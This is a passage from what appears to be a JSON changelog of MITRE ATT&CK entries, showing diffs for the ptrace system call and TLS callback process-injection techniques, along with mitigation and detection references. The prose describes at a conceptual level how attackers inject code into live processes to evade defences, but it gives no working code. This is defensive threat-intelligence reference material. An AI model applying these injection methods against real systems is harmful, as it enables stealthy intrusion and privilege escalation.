not be possible targeting processes that are non-child processes and/or have higher-privileges.(Citation: BH Linux Inject) \\n\\nRunning code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via ptrace system call injection may also evade detection from security products since the execution is masked under a legitimate process. \", \"old_value\": \"Adversaries may inject malicious code into processes via ptrace (process trace) system calls in order to evade process-based defenses as well as possibly elevate privileges. Ptrace system call injection is a method of executing arbitrary code in the address space of a separate live process. \\n\\nPtrace system call injection involves attaching to and modifying a running process. The ptrace system call enables a debugging process to observe and control another process (and each individual thread), including changing memory and register values.(Citation: PTRACE man) Ptrace system call injection is commonly performed by writing arbitrary code into a running process (ex: <code>malloc</code>) then invoking that memory with <code>PTRACE_SETREGS</code> to set the register containing the next instruction to execute. Ptrace system call injection can also be done with <code>PTRACE_POKETEXT</code>/<code>PTRACE_POKEDATA</code>, which copy data to a specific address in the target processes\\u2019 memory (ex: the current address of the next instruction). (Citation: PTRACE man)(Citation: Medium Ptrace JUL 2018) \\n\\nPtrace system call injection may not be possible targeting processes that are non-child processes and/or have higher-privileges.(Citation: BH Linux Inject) \\n\\nRunning code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via ptrace system call injection may also evade detection from security products since the execution is masked under a legitimate process. \", \"diff\": \"--- \\n+++ \\n@@ -1,6 +1,6 @@\\n Adversaries may inject malicious code into processes via ptrace (process trace) system calls in order to evade process-based defenses as well as possibly elevate privileges. Ptrace system call injection is a method of executing arbitrary code in the address space of a separate live process. \\n \\n-Ptrace system call injection involves attaching to and modifying a running process. The ptrace system call enables a debugging process to observe and control another process (and each individual thread), including changing memory and register values.(Citation: PTRACE man) Ptrace system call injection is commonly performed by writing arbitrary code into a running process (ex: <code>malloc</code>) then invoking that memory with <code>PTRACE_SETREGS</code> to set the register containing the next instruction to execute. Ptrace system call injection can also be done with <code>PTRACE_POKETEXT</code>/<code>PTRACE_POKEDATA</code>, which copy data to a specific address in the target processes\\u2019 memory (ex: the current address of the next instruction). (Citation: PTRACE man)(Citation: Medium Ptrace JUL 2018) \\n+Ptrace system call injection involves attaching to and modifying a running process. The ptrace system call enables a debugging process to observe and control another process (and each individual thread), including changing memory and register values.(Citation: PTRACE man) Ptrace system call injection is commonly performed by writing arbitrary code into a running process (ex: <code>malloc</code>) then invoking that memory with <code>PTRACE_SETREGS</code> to set the register containing the next instruction to execute. Ptrace system call injection can also be done with <code>PTRACE_POKETEXT</code>/<code>PTRACE_POKEDATA</code>, which copy data to a specific address in the target processes\\u2019 memory (ex: the current address of the next instruction).(Citation: PTRACE man)(Citation: Medium Ptrace JUL 2018) \\n \\n Ptrace system call injection may not be possible targeting processes that are non-child processes and/or have higher-privileges.(Citation: BH Linux Inject) \\n \"}}}",
                    "previous_version": "2.0",
                    "description_change_table": "\n    <table class=\"diff\" id=\"difflib_chg_to122__top\"\n           cellspacing=\"0\" cellpadding=\"0\" rules=\"groups\" >\n        <colgroup></colgroup> <colgroup></colgroup> <colgroup></colgroup>\n        <colgroup></colgroup> <colgroup></colgroup> <colgroup></colgroup>\n        <thead><tr><th class=\"diff_next\"><br /></th><th colspan=\"2\" class=\"diff_header\">Old Description</th><th class=\"diff_next\"><br /></th><th colspan=\"2\" class=\"diff_header\">New Description</th></tr></thead>\n        <tbody>\n            <tr><td class=\"diff_next\" id=\"difflib_chg_to122__0\"><a href=\"#difflib_chg_to122__top\">t</a></td><td class=\"diff_header\" id=\"from122_1\">1</td><td nowrap=\"nowrap\">Adversaries&nbsp;may&nbsp;inject&nbsp;malicious&nbsp;code&nbsp;into&nbsp;processes&nbsp;via&nbsp;ptr</td><td class=\"diff_next\"><a href=\"#difflib_chg_to122__top\">t</a></td><td class=\"diff_header\" id=\"to122_1\">1</td><td nowrap=\"nowrap\">Adversaries&nbsp;may&nbsp;inject&nbsp;malicious&nbsp;code&nbsp;into&nbsp;processes&nbsp;via&nbsp;ptr</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ace&nbsp;(process&nbsp;trace)&nbsp;system&nbsp;calls&nbsp;in&nbsp;order&nbsp;to&nbsp;evade&nbsp;process-b</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ace&nbsp;(process&nbsp;trace)&nbsp;system&nbsp;calls&nbsp;in&nbsp;order&nbsp;to&nbsp;evade&nbsp;process-b</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ased&nbsp;defenses&nbsp;as&nbsp;well&nbsp;as&nbsp;possibly&nbsp;elevate&nbsp;privileges.&nbsp;Ptrace</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ased&nbsp;defenses&nbsp;as&nbsp;well&nbsp;as&nbsp;possibly&nbsp;elevate&nbsp;privileges.&nbsp;Ptrace</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;system&nbsp;call&nbsp;injection&nbsp;is&nbsp;a&nbsp;method&nbsp;of&nbsp;executing&nbsp;arbitrary&nbsp;co</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;system&nbsp;call&nbsp;injection&nbsp;is&nbsp;a&nbsp;method&nbsp;of&nbsp;executing&nbsp;arbitrary&nbsp;co</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">de&nbsp;in&nbsp;the&nbsp;address&nbsp;space&nbsp;of&nbsp;a&nbsp;separate&nbsp;live&nbsp;process.&nbsp;&nbsp;&nbsp;Ptrace</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">de&nbsp;in&nbsp;the&nbsp;address&nbsp;space&nbsp;of&nbsp;a&nbsp;separate&nbsp;live&nbsp;process.&nbsp;&nbsp;&nbsp;Ptrace</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;system&nbsp;call&nbsp;injection&nbsp;involves&nbsp;attaching&nbsp;to&nbsp;and&nbsp;modifying&nbsp;a</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;system&nbsp;call&nbsp;injection&nbsp;involves&nbsp;attaching&nbsp;to&nbsp;and&nbsp;modifying&nbsp;a</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;running&nbsp;process.&nbsp;The&nbsp;ptrace&nbsp;system&nbsp;call&nbsp;enables&nbsp;a&nbsp;debugging</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;running&nbsp;process.&nbsp;The&nbsp;ptrace&nbsp;system&nbsp;call&nbsp;enables&nbsp;a&nbsp;debugging</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;process&nbsp;to&nbsp;observe&nbsp;and&nbsp;control&nbsp;another&nbsp;process&nbsp;(and&nbsp;each&nbsp;in</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;process&nbsp;to&nbsp;observe&nbsp;and&nbsp;control&nbsp;another&nbsp;process&nbsp;(and&nbsp;each&nbsp;in</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">dividual&nbsp;thread),&nbsp;including&nbsp;changing&nbsp;memory&nbsp;and&nbsp;register&nbsp;val</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">dividual&nbsp;thread),&nbsp;including&nbsp;changing&nbsp;memory&nbsp;and&nbsp;register&nbsp;val</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ues.(Citation:&nbsp;PTRACE&nbsp;man)&nbsp;Ptrace&nbsp;system&nbsp;call&nbsp;injection&nbsp;is&nbsp;c</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ues.(Citation:&nbsp;PTRACE&nbsp;man)&nbsp;Ptrace&nbsp;system&nbsp;call&nbsp;injection&nbsp;is&nbsp;c</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ommonly&nbsp;performed&nbsp;by&nbsp;writing&nbsp;arbitrary&nbsp;code&nbsp;into&nbsp;a&nbsp;running&nbsp;p</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ommonly&nbsp;performed&nbsp;by&nbsp;writing&nbsp;arbitrary&nbsp;code&nbsp;into&nbsp;a&nbsp;running&nbsp;p</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">rocess&nbsp;(ex:&nbsp;&lt;code&gt;malloc&lt;/code&gt;)&nbsp;then&nbsp;invoking&nbsp;that&nbsp;memory&nbsp;w</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">rocess&nbsp;(ex:&nbsp;&lt;code&gt;malloc&lt;/code&gt;)&nbsp;then&nbsp;invoking&nbsp;that&nbsp;memory&nbsp;w</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ith&nbsp;&lt;code&gt;PTRACE_SETREGS&lt;/code&gt;&nbsp;to&nbsp;set&nbsp;the&nbsp;register&nbsp;containi</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ith&nbsp;&lt;code&gt;PTRACE_SETREGS&lt;/code&gt;&nbsp;to&nbsp;set&nbsp;the&nbsp;register&nbsp;containi</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ng&nbsp;the&nbsp;next&nbsp;instruction&nbsp;to&nbsp;execute.&nbsp;Ptrace&nbsp;system&nbsp;call&nbsp;injec</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ng&nbsp;the&nbsp;next&nbsp;instruction&nbsp;to&nbsp;execute.&nbsp;Ptrace&nbsp;system&nbsp;call&nbsp;injec</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">tion&nbsp;can&nbsp;also&nbsp;be&nbsp;done&nbsp;with&nbsp;&lt;code&gt;PTRACE_POKETEXT&lt;/code&gt;/&lt;cod</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">tion&nbsp;can&nbsp;also&nbsp;be&nbsp;done&nbsp;with&nbsp;&lt;code&gt;PTRACE_POKETEXT&lt;/code&gt;/&lt;cod</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">e&gt;PTRACE_POKEDATA&lt;/code&gt;,&nbsp;which&nbsp;copy&nbsp;data&nbsp;to&nbsp;a&nbsp;specific&nbsp;addr</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">e&gt;PTRACE_POKEDATA&lt;/code&gt;,&nbsp;which&nbsp;copy&nbsp;data&nbsp;to&nbsp;a&nbsp;specific&nbsp;addr</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ess&nbsp;in&nbsp;the&nbsp;target&nbsp;processes\u2019&nbsp;memory&nbsp;(ex:&nbsp;the&nbsp;current&nbsp;address</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ess&nbsp;in&nbsp;the&nbsp;target&nbsp;processes\u2019&nbsp;memory&nbsp;(ex:&nbsp;the&nbsp;current&nbsp;address</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;of&nbsp;the&nbsp;next&nbsp;instruction).<span class=\"diff_sub\">&nbsp;</span>(Citation:&nbsp;PTRACE&nbsp;man)(Citation:&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;of&nbsp;the&nbsp;next&nbsp;instruction).(Citation:&nbsp;PTRACE&nbsp;man)(Citation:&nbsp;M</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">Medium&nbsp;Ptrace&nbsp;JUL&nbsp;2018)&nbsp;&nbsp;&nbsp;Ptrace&nbsp;system&nbsp;call&nbsp;injection&nbsp;may&nbsp;n</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">edium&nbsp;Ptrace&nbsp;JUL&nbsp;2018)&nbsp;&nbsp;&nbsp;Ptrace&nbsp;system&nbsp;call&nbsp;injection&nbsp;may&nbsp;no</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ot&nbsp;be&nbsp;possible&nbsp;targeting&nbsp;processes&nbsp;that&nbsp;are&nbsp;non-child&nbsp;proces</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">t&nbsp;be&nbsp;possible&nbsp;targeting&nbsp;processes&nbsp;that&nbsp;are&nbsp;non-child&nbsp;process</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ses&nbsp;and/or&nbsp;have&nbsp;higher-privileges.(Citation:&nbsp;BH&nbsp;Linux&nbsp;Inject</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">es&nbsp;and/or&nbsp;have&nbsp;higher-privileges.(Citation:&nbsp;BH&nbsp;Linux&nbsp;Inject)</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">)&nbsp;&nbsp;&nbsp;Running&nbsp;code&nbsp;in&nbsp;the&nbsp;context&nbsp;of&nbsp;another&nbsp;process&nbsp;may&nbsp;allow</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;&nbsp;&nbsp;Running&nbsp;code&nbsp;in&nbsp;the&nbsp;context&nbsp;of&nbsp;another&nbsp;process&nbsp;may&nbsp;allow&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;access&nbsp;to&nbsp;the&nbsp;process's&nbsp;memory,&nbsp;system/network&nbsp;resources,&nbsp;a</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">access&nbsp;to&nbsp;the&nbsp;process's&nbsp;memory,&nbsp;system/network&nbsp;resources,&nbsp;an</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">nd&nbsp;possibly&nbsp;elevated&nbsp;privileges.&nbsp;Execution&nbsp;via&nbsp;ptrace&nbsp;system</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">d&nbsp;possibly&nbsp;elevated&nbsp;privileges.&nbsp;Execution&nbsp;via&nbsp;ptrace&nbsp;system&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;call&nbsp;injection&nbsp;may&nbsp;also&nbsp;evade&nbsp;detection&nbsp;from&nbsp;security&nbsp;produ</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">call&nbsp;injection&nbsp;may&nbsp;also&nbsp;evade&nbsp;detection&nbsp;from&nbsp;security&nbsp;produc</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">cts&nbsp;since&nbsp;the&nbsp;execution&nbsp;is&nbsp;masked&nbsp;under&nbsp;a&nbsp;legitimate&nbsp;process</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ts&nbsp;since&nbsp;the&nbsp;execution&nbsp;is&nbsp;masked&nbsp;under&nbsp;a&nbsp;legitimate&nbsp;process.</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">.&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;</td></tr>\n        </tbody>\n    </table>",
                    "changelog_mitigations": {
                        "shared": [
                            "M1026: Privileged Account Management",
                            "M1040: Behavior Prevention on Endpoint"
                        ],
                        "new": [],
                        "dropped": []
                    },
                    "changelog_datacomponent_detections": {
                        "shared": [],
                        "new": [],
                        "dropped": []
                    },
                    "changelog_detectionstrategy_detections": {
                        "shared": [
                            "DET0203: Detection Strategy for Ptrace-Based Process Injection on Linux"
                        ],
                        "new": [],
                        "dropped": []
                    }
                },
                {
                    "type": "attack-pattern",
                    "id": "attack-pattern--e49ee9d2-0d98-44ef-85e5-5d3100065744",
                    "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
                    "created": "2020-01-14 01:30:41.092000+00:00",
                    "modified": "2026-11-03 21:28:37.525000+00:00",
                    "name": "Thread Local Storage",
                    "description": "Adversaries may inject malicious code into processes via thread local storage (TLS) callbacks in order to evade process-based defenses as well as possibly elevate privileges. TLS callback injection is a method of executing arbitrary code in the address space of a separate live process. \n\nTLS callback injection involves manipulating pointers inside a portable executable (PE) to redirect a process to malicious code before reaching the code's legitimate entry point. TLS callbacks are normally used by the OS to set up and/or clean up data used by threads. Manipulating TLS callbacks may be performed by allocating and writing to specific offsets within a process\u2019 memory space using other [Process Injection](https://attack.mitre.org/techniques/T1055) techniques such as [Process Hollowing](https://attack.mitre.org/techniques/T1055/012).(Citation: FireEye TLS Nov 2017)\n\nRunning code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via TLS callback injection may also evade detection from security products since the execution is masked under a legitimate process. ",
                    "kill_chain_phases": [
                        {
                            "kill_chain_name": "mitre-attack",
                            "phase_name": "stealth"
                        },
                        {
                            "kill_chain_name": "mitre-attack",
                            "phase_name": "privilege-escalation"
                        }
                    ],
                    "revoked": false,
                    "external_references": [
                        {
                            "source_name": "mitre-attack",
                            "url": "https://attack.mitre.org/techniques/T1055/005",
                            "external_id": "T1055.005"
                        },
                        {
                            "source_name": "FireEye TLS Nov 2017",
                            "description": "Vaish, A. & Nemes, S. (2017, November 28). Newly Observed Ursnif Variant Employs Malicious TLS Callback Technique to Achieve Process Injection. Retrieved December 18, 2017.",
                            "url": "https://www.fireeye.com/blog/threat-research/2017/11/ursnif-variant-malicious-tls-callback-technique.html"
                        }
                    ],
                    "object_marking_refs": [
                        "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
                    ],
                    "x_mitre_attack_spec_version": "3.3.0",
                    "x_mitre_deprecated": false,
                    "x_mitre_domains": [
                        "enterprise-attack"
                    ],
                    "x_mitre_is_subtechnique": true,
                    "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
                    "x_mitre_platforms": [
                        "Windows"
                    ],
                    "x_mitre_version": "2.0",
                    "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2026-11-03 21:28:37.525000+00:00\", \"old_value\": \"2026-05-12 15:12:00.723000+00:00\"}, \"root['description']\": {\"new_value\": \"Adversaries may inject malicious code into processes via thread local storage (TLS) callbacks in order to evade process-based defenses as well as possibly elevate privileges. TLS callback injection is a method of executing arbitrary code in the address space of a separate live process. \\n\\nTLS callback injection involves manipulating pointers inside a portable executable (PE) to redirect a process to malicious code before reaching the code's legitimate entry point. TLS callbacks are normally used by the OS to set up and/or clean up data used by threads. Manipulating TLS callbacks may be performed by allocating and writing to specific offsets within a process\\u2019 memory space using other [Process Injection](https://attack.mitre.org/techniques/T1055) techniques such as [Process Hollowing](https://attack.mitre.org/techniques/T1055/012).(Citation: FireEye TLS Nov 2017)\\n\\nRunning code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via TLS callback injection may also evade detection from security products since the execution is masked under a legitimate process. \", \"old_value\": \"Adversaries may inject malicious code into processes via thread local storage (TLS) callbacks in order to evade process-based defenses as well as possibly elevate privileges. TLS callback injection is a method of executing arbitrary code in the address space of a separate live process. \\n\\nTLS callback injection involves manipulating pointers inside a portable executable (PE) to redirect a process to malicious code before reaching the code's legitimate entry point. TLS callbacks are normally used by the OS to setup and/or cleanup data used by threads. Manipulating TLS callbacks may be performed by allocating and writing to specific offsets within a process\\u2019 memory space using other [Process Injection](https://attack.mitre.org/techniques/T1055) techniques such as [Process Hollowing](https://attack.mitre.org/techniques/T1055/012).(Citation: FireEye TLS Nov 2017)\\n\\nRunning code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via TLS callback injection may also evade detection from security products since the execution is masked under a legitimate process. \", \"diff\": \"--- \\n+++ \\n@@ -1,5 +1,5 @@\\n Adversaries may inject malicious code into processes via thread local storage (TLS) callbacks in order to evade process-based defenses as well as possibly elevate privileges. TLS callback injection is a method of executing arbitrary code in the address space of a separate live process. \\n \\n-TLS callback injection involves manipulating pointers inside a portable executable (PE) to redirect a process to malicious code before reaching the code's legitimate entry point. TLS callbacks are normally used by the OS to setup and/or cleanup data used by threads. Manipulating TLS callbacks may be performed by allocating and writing to specific offsets within a process\\u2019 memory space using other [Process Injection](https://attack.mitre.org/techniques/T1055) techniques such as [Process Hollowing](https://attack.mitre.org/techniques/T1055/012).(Citation: FireEye TLS Nov 2017)\\n+TLS callback injection involves manipulating pointers inside a portable executable (PE) to redirect a process to malicious code before reaching the code's legitimate entry point. TLS callbacks are normally used by the OS to set up and/or clean up data used by threads. Manipulating TLS callbacks may be performed by allocating and writing to specific offsets within a process\\u2019 memory space using other [Process Injection](https://attack.mitre.org/techniques/T1055) techniques such as [Process Hollowing](https://attack.mitre.org/techniques/T1055/012).(Citation: FireEye TLS Nov 2017)\\n \\n Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via TLS callback injection may also evade detection from security products since the execution is masked under a legitimate process. \"}}}",
                    "previous_version": "2.0",
                    "description_change_table": "\n    <table class=\"diff\" id=\"difflib_chg_to48__top\"\n           cellspacing=\"0\" cellpadding=\"0\" rules=\"groups\" >\n        <colgroup></colgroup> <colgroup></colgroup> <colgroup></colgroup>\n        <colgroup></colgroup> <colgroup></colgroup> <colgroup></colgroup>\n        <thead><tr><th class=\"diff_next\"><br /></th><th colspan=\"2\" class=\"diff_header\">Old Description</th><th class=\"diff_next\"><br /></th><th colspan=\"2\" class=\"diff_header\">New Description</th></tr></thead>\n        <tbody>\n            <tr><td class=\"diff_next\" id=\"difflib_chg_to48__0\"><a href=\"#difflib_chg_to48__top\">t</a></td><td class=\"diff_header\" id=\"from48_1\">1</td><td nowrap=\"nowrap\">Adversaries&nbsp;may&nbsp;inject&nbsp;malicious&nbsp;code&nbsp;into&nbsp;processes&nbsp;via&nbsp;thr</td><td class=\"diff_next\"><a href=\"#difflib_chg_to48__top\">t</a></td><td class=\"diff_header\" id=\"to48_1\">1</td><td nowrap=\"nowrap\">Adversaries&nbsp;may&nbsp;inject&nbsp;malicious&nbsp;code&nbsp;into&nbsp;processes&nbsp;via&nbsp;thr</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ead&nbsp;local&nbsp;storage&nbsp;(TLS)&nbsp;callbacks&nbsp;in&nbsp;order&nbsp;to&nbsp;evade&nbsp;process-</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ead&nbsp;local&nbsp;storage&nbsp;(TLS)&nbsp;callbacks&nbsp;in&nbsp;order&nbsp;to&nbsp;evade&nbsp;process-</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">based&nbsp;defenses&nbsp;as&nbsp;well&nbsp;as&nbsp;possibly&nbsp;elevate&nbsp;privileges.&nbsp;TLS&nbsp;c</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">based&nbsp;defenses&nbsp;as&nbsp;well&nbsp;as&nbsp;possibly&nbsp;elevate&nbsp;privileges.&nbsp;TLS&nbsp;c</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">allback&nbsp;injection&nbsp;is&nbsp;a&nbsp;method&nbsp;of&nbsp;executing&nbsp;arbitrary&nbsp;code&nbsp;in</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">allback&nbsp;injection&nbsp;is&nbsp;a&nbsp;method&nbsp;of&nbsp;executing&nbsp;arbitrary&nbsp;code&nbsp;in</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;the&nbsp;address&nbsp;space&nbsp;of&nbsp;a&nbsp;separate&nbsp;live&nbsp;process.&nbsp;&nbsp;&nbsp;TLS&nbsp;callbac</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;the&nbsp;address&nbsp;space&nbsp;of&nbsp;a&nbsp;separate&nbsp;live&nbsp;process.&nbsp;&nbsp;&nbsp;TLS&nbsp;callbac</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">k&nbsp;injection&nbsp;involves&nbsp;manipulating&nbsp;pointers&nbsp;inside&nbsp;a&nbsp;portable</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">k&nbsp;injection&nbsp;involves&nbsp;manipulating&nbsp;pointers&nbsp;inside&nbsp;a&nbsp;portable</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;executable&nbsp;(PE)&nbsp;to&nbsp;redirect&nbsp;a&nbsp;process&nbsp;to&nbsp;malicious&nbsp;code&nbsp;bef</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;executable&nbsp;(PE)&nbsp;to&nbsp;redirect&nbsp;a&nbsp;process&nbsp;to&nbsp;malicious&nbsp;code&nbsp;bef</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ore&nbsp;reaching&nbsp;the&nbsp;code's&nbsp;legitimate&nbsp;entry&nbsp;point.&nbsp;TLS&nbsp;callback</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ore&nbsp;reaching&nbsp;the&nbsp;code's&nbsp;legitimate&nbsp;entry&nbsp;point.&nbsp;TLS&nbsp;callback</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">s&nbsp;are&nbsp;normally&nbsp;used&nbsp;by&nbsp;the&nbsp;OS&nbsp;to&nbsp;set<span class=\"diff_chg\">up</span>&nbsp;and/or&nbsp;clean<span class=\"diff_chg\">up&nbsp;data&nbsp;u</span></td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">s&nbsp;are&nbsp;normally&nbsp;used&nbsp;by&nbsp;the&nbsp;OS&nbsp;to&nbsp;set<span class=\"diff_chg\">&nbsp;up</span>&nbsp;and/or&nbsp;clean<span class=\"diff_chg\">&nbsp;up&nbsp;data</span></td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\"><span class=\"diff_chg\">sed&nbsp;by</span>&nbsp;threads.&nbsp;Manipulating&nbsp;TLS&nbsp;callbacks&nbsp;may&nbsp;be&nbsp;performed&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\"><span class=\"diff_chg\">&nbsp;used&nbsp;by</span>&nbsp;threads.&nbsp;Manipulating&nbsp;TLS&nbsp;callbacks&nbsp;may&nbsp;be&nbsp;performe</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">by&nbsp;allocating&nbsp;and&nbsp;writing&nbsp;to&nbsp;specific&nbsp;offsets&nbsp;within&nbsp;a&nbsp;proce</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">d&nbsp;by&nbsp;allocating&nbsp;and&nbsp;writing&nbsp;to&nbsp;specific&nbsp;offsets&nbsp;within&nbsp;a&nbsp;pro</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ss\u2019&nbsp;memory&nbsp;space&nbsp;using&nbsp;other&nbsp;[Process&nbsp;Injection](https://att</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">cess\u2019&nbsp;memory&nbsp;space&nbsp;using&nbsp;other&nbsp;[Process&nbsp;Injection](https://a</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ack.mitre.org/techniques/T1055)&nbsp;techniques&nbsp;such&nbsp;as&nbsp;[Process&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ttack.mitre.org/techniques/T1055)&nbsp;techniques&nbsp;such&nbsp;as&nbsp;[Proces</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">Hollowing](https://attack.mitre.org/techniques/T1055/012).(C</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">s&nbsp;Hollowing](https://attack.mitre.org/techniques/T1055/012).</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td 